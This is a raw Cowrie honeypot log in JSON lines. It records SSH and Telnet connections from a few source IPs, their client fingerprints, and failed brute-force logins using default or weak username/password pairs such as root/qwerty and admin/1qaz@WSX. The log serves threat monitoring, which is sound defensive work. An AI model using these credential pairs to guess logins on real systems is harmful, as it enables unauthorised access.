{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:47.497715Z","src_ip":"176.65.132.129","session":"a22ec66773f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:47.742579Z","src_ip":"176.65.132.129","session":"a22ec66773f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:48.828644Z","src_ip":"176.65.132.129","session":"a22ec66773f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.58589172363281,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:50.753937Z","src_ip":"45.58.127.90","session":"26bba751529a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56844,"dst_ip":"159.203.135.109","dst_port":22,"session":"e631bc76112c","protocol":"ssh","message":"New connection: 176.65.132.129:56844 (159.203.135.109:22) [session: e631bc76112c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:50.928719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:50.956292Z","src_ip":"176.65.132.129","session":"e631bc76112c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:51.018764Z","src_ip":"176.65.132.129","session":"e631bc76112c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:51.342985Z","src_ip":"176.65.132.129","session":"e631bc76112c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:52.430854Z","src_ip":"176.65.132.129","session":"e631bc76112c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.45498204231262,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:53.486383Z","src_ip":"45.58.127.90","session":"3f8205a7b7be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56852,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ff068371c3c","protocol":"ssh","message":"New connection: 176.65.132.129:56852 (159.203.135.109:22) [session: 2ff068371c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.354865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.358898Z","src_ip":"176.65.132.129","session":"2ff068371c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33210,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36dac4107e8","protocol":"ssh","message":"New connection: 172.237.20.62:33210 (159.203.135.109:22) [session: d36dac4107e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.390006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.395122Z","src_ip":"172.237.20.62","session":"d36dac4107e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.440928Z","src_ip":"176.65.132.129","session":"2ff068371c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.556579Z","src_ip":"172.237.20.62","session":"d36dac4107e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:54.686768Z","src_ip":"176.65.132.129","session":"2ff068371c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:55.040514Z","src_ip":"172.237.20.62","session":"d36dac4107e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:55.888219Z","src_ip":"176.65.132.129","session":"2ff068371c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:56.204840Z","src_ip":"172.237.20.62","session":"d36dac4107e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51994,"dst_ip":"159.203.135.109","dst_port":22,"session":"126cba5020c2","protocol":"ssh","message":"New connection: 176.65.132.129:51994 (159.203.135.109:22) [session: 126cba5020c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:57.706304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:57.711291Z","src_ip":"176.65.132.129","session":"126cba5020c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:57.933282Z","src_ip":"176.65.132.129","session":"126cba5020c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.982351541519165,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:58.097430Z","src_ip":"45.58.127.90","session":"643c3d62d675","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:58.229960Z","src_ip":"176.65.132.129","session":"126cba5020c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:59.315322Z","src_ip":"176.65.132.129","session":"126cba5020c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52004,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c1bec450eef","protocol":"ssh","message":"New connection: 176.65.132.129:52004 (159.203.135.109:22) [session: 9c1bec450eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:01.288294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:01.293171Z","src_ip":"176.65.132.129","session":"9c1bec450eef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:01.375280Z","src_ip":"176.65.132.129","session":"9c1bec450eef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:01.623730Z","src_ip":"176.65.132.129","session":"9c1bec450eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:02.712065Z","src_ip":"176.65.132.129","session":"9c1bec450eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.426116943359375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:02.997140Z","src_ip":"45.58.127.90","session":"a8eabf838c01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52008,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa951243616","protocol":"ssh","message":"New connection: 176.65.132.129:52008 (159.203.135.109:22) [session: 4aa951243616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:04.685840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:04.692640Z","src_ip":"176.65.132.129","session":"4aa951243616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:04.777122Z","src_ip":"176.65.132.129","session":"4aa951243616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:05.029186Z","src_ip":"176.65.132.129","session":"4aa951243616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52060,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3f51b35575","protocol":"ssh","message":"New connection: 172.237.20.62:52060 (159.203.135.109:22) [session: 1c3f51b35575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:05.333895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:05.338140Z","src_ip":"172.237.20.62","session":"1c3f51b35575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:05.501957Z","src_ip":"172.237.20.62","session":"1c3f51b35575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:05.994811Z","src_ip":"172.237.20.62","session":"1c3f51b35575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:06.128505Z","src_ip":"176.65.132.129","session":"4aa951243616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:07.186522Z","src_ip":"172.237.20.62","session":"1c3f51b35575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55858,"dst_ip":"159.203.135.109","dst_port":22,"session":"672791374a04","protocol":"ssh","message":"New connection: 176.65.132.129:55858 (159.203.135.109:22) [session: 672791374a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:08.004492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:08.009515Z","src_ip":"176.65.132.129","session":"672791374a04","protocol":"ssh"}
